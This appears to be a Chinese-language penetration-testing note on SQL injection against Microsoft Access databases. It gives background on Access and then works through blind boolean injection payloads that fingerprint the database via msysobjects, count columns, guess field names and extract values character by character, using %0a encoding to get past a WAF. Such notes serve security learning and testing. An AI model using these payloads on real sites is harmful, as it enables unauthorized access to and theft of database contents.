ACCESS
access 扫出后缀为asp的数据库文件
迅雷下载,直接改后缀为.mdb
Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。
Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软OFFICE的一个成员, 在包括专业版和更高版本的office版本里面被单独出售。== 2018年9月25日,最新的微软Office Access 2019在微软Office 2019里发布。 ==
MS ACCESS以它自己的格式将数据存储在基于Access Jet的数据库引擎里。它还可以直接导入或者链接数据(这些数据存储在其他应用程序和数据库)。
软件开发人员和数据架构师可以使用Microsoft Access开发应用软件,“高级用户”可以使用它来构建软件应用程序。和其他办公应用程序一样,ACCESS支持Visual Basic宏语言,它是一个面向对象的编程语言,可以引用各种对象,包括DAO(数据访问对象),ActiveX数据对象,以及许多其他的ActiveX组件。可视对象用于显示表和报表,他们的方法和属性是在VBA编程环境下,VBA代码模块可以声明和调用Windows操作系统函数。
Microsoft Access 特性
Access数据库中没有注释符号.因此 /**/ 、 – 和 # 都没法使用。
Access数据库不支持错误显示注入,Access数据库不能执行系统命令。
access数据库中没有 limit,就不能限制查询出来的行数。但是我们可以使用top命令,top 1是将查询的所有数据只显示第一行
在这里强调这个,是因为access数据库虽然也支持order by 、union select 、布尔型注入,但是由于不存在注释符,所以在手工注入的时候,需要注意,以及想要绕过waf规则的时候,就不要浪费力气写啥 == /**/ ==这种了
测试poc,此时页面变化为英文
?ID=382-1
访问 == ID=381 == 页面,与漏洞展示页面一致
Access数据库特有的表是:msysobjects ,所以可以用它来判断是否是Access数据库
and exists(select*from msysobjects)
https://blog.csdn.net/weixin_48421613/article/details/120762961
%0a or %0a exists(%0aSelecT%0a*from%0amsysobjects)
判断job表的列个数
+or+exists(select%0A*from job order by 29)
判断列的字段名
+or exists(select%0aid from job)
猜测第一个id值的长度
+or+(select%0Atop+1+len(id)from+job)>2
判断第一位id的值
这里使用第一条payload计算ascii值失败了
+or (select%0atop 1 asc(mid(id,1,1)) from job)>32
直接爆破第一位吧,猜测id列的第一行数据的第一个字符的的值,由于id参数是整型,所以不需要使用ascii转换
+or+(select%0Atop+1+mid(id,1,1) from job)=3